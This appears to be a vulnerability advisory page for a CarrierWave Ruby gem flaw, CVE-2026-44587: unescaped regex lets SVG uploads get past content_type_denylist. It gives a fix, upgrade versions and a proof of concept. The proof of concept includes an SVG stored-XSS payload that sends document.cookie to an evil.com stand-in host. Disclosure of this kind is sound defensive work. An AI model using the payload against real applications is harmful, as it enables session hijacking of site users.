CarrierWave CVE-2026-44587
MEDIUMSeverity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Lifecycle Timeline
3DescriptionNVD
Summary
CarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.
Note: CarrierWave is aware #content_type_denylist is deprecated for the security reason, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without Regexp.quote or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.
Details
In lib/carrierwave/uploader/content_type_denylist.rb:57, string denylist entries are interpolated directly into a regex without Regexp.quote or anchoring:
def denylisted_content_type?(denylist, content_type)
Array(denylist).any? { |item| content_type =~ /#{item}/ }
end
The entry "image/svg+xml" becomes the regex /image\/svg+xml/ where + is a quantifier meaning "one or more g", not a literal +. This regex never matches the real MIME type "image/svg+xml" which contains a literal +.
This is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \A anchor:
rubydef allowlisted_content_type?(allowlist, content_type)
Array(allowlist).any? do |item|
item = Regexp.quote(item) if item.class != Regexp
content_type =~ /\A#{item}/
end
endOther affected MIME types include application/xhtml+xml and any type containing regex metacharacters.
Fix: Apply Regexp.quote for string entries and anchor with \A, matching the existing allowlist implementation:
rubydef denylisted_content_type?(denylist, content_type)
Array(denylist).any? do |item|
item = Regexp.quote(item) if item.class != Regexp
content_type =~ /\A#{item}/
end
endPoC
app.rb
require "sinatra"
require "carrierwave"
require "fileutils"
FileUtils.mkdir_p("uploads/files")
CarrierWave.configure do |config|
config.root = File.expand_path("uploads")
config.store_dir = "files"
end
class VaultUploader < CarrierWave::Uploader::Base
storage :file
def store_dir = "files"
def content_type_denylist = %w[image/svg+xml]
end
post "/upload" do
content_type :json
san = CarrierWave::SanitizedFile.new(
tempfile: params[:file][:tempfile],
filename: params[:file][:filename],
content_type: params[:file][:type]
)
uploader = VaultUploader.new
begin
uploader.store!(san)
{ result: "VULNERABLE", message: "SVG bypassed denylist", path: uploader.path }.to_json
rescue CarrierWave::IntegrityError => e
{ result: "blocked", message: e.message }.to_json
end
endbundle exec ruby app.rb &
echo '<svg xmlns="http://www.w3.org/2000/svg"><script>document.location="https://evil.com/?c="+document.cookie</script></svg>' > xss.svg
curl -X POST http://localhost:4567/upload \
-F "file=@xss.svg;type=image/svg+xml"Expected response (denylist working):
json{ "result": "blocked", "message": "..." }Actual response:
json{ "result": "VULNERABLE", "message": "SVG bypassed denylist", "path": "..." }Impact
Any application that uses content_type_denylist to block image/svg+xml - the most common use case, specifically to prevent stored XSS - is silently unprotected. An attacker can upload an SVG file containing arbitrary
AnalysisAI
CarrierWave's content_type_denylist silently fails to block MIME types containing regex metacharacters - most critically image/svg+xml - because string entries are interpolated directly into a regex without Regexp.quote or anchoring, causing the + character to be treated as a quantifier rather than a literal. Any Ruby application relying on this denylist to prevent SVG uploads for stored XSS protection is completely unprotected despite believing the control is active. A publicly available proof-of-concept exploit demonstrates successful SVG bypass; no public exploit identified at time of analysis for active KEV-level exploitation.
Technical ContextAI
CarrierWave (pkg:rubygems/carrierwave) is a widely used Ruby gem for handling file uploads. The vulnerable function at lib/carrierwave/uploader/content_type_denylist.rb:57 interpolates denylist string entries directly into a Ruby regex literal - content_type =~ /#{item}/ - without first calling Regexp.quote. This maps to CWE-116 (Improper Encoding or Escaping of Output): developer-supplied strings intended as literal MIME type patterns are silently reinterpreted as raw regex syntax. For image/svg+xml, the resulting regex is /image\/svg+xml/ where + quantifies the preceding g character rather than matching a literal plus sign, so the regex never matches the actual MIME type string. The root cause is an asymmetric implementation: the allowlist counterpart (content_type_allowlist.rb:53-57) correctly applies both Regexp.quote and a \A anchor to prevent this exact class of bypass, but the denylist implementation was never updated to match. Any MIME type containing regex metacharacters (+, ., ?, *, etc.) is affected; application/xhtml+xml is another documented example.
RemediationAI
Upgrade CarrierWave to version 3.1.3 (for 3.x users) or 2.2.7 (for 2.x users), as confirmed by the GitHub advisory GHSA-7g26-2qgj-chfg. The fix applies Regexp.quote to string denylist entries and anchors them with \A, matching the existing allowlist implementation. If immediate patching is not feasible, a targeted workaround is to replace string entries in content_type_denylist with explicit Regexp objects using proper escaping and anchoring - for example, use /\Aimage\/svg\+xml\z/ instead of "image/svg+xml"; the vulnerable code path only mishandles String instances. A more robust alternative is to migrate from content_type_denylist to content_type_allowlist with an explicit set of permitted MIME types, since CarrierWave's allowlist implementation is correctly implemented and content_type_denylist is already deprecated for security reasons. Note that switching to an allowlist changes application behavior - previously permitted types must be explicitly listed to avoid breaking legitimate uploads.
Same weakness CWE-116 – Improper Encoding or Escaping of Output
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-7g26-2qgj-chfg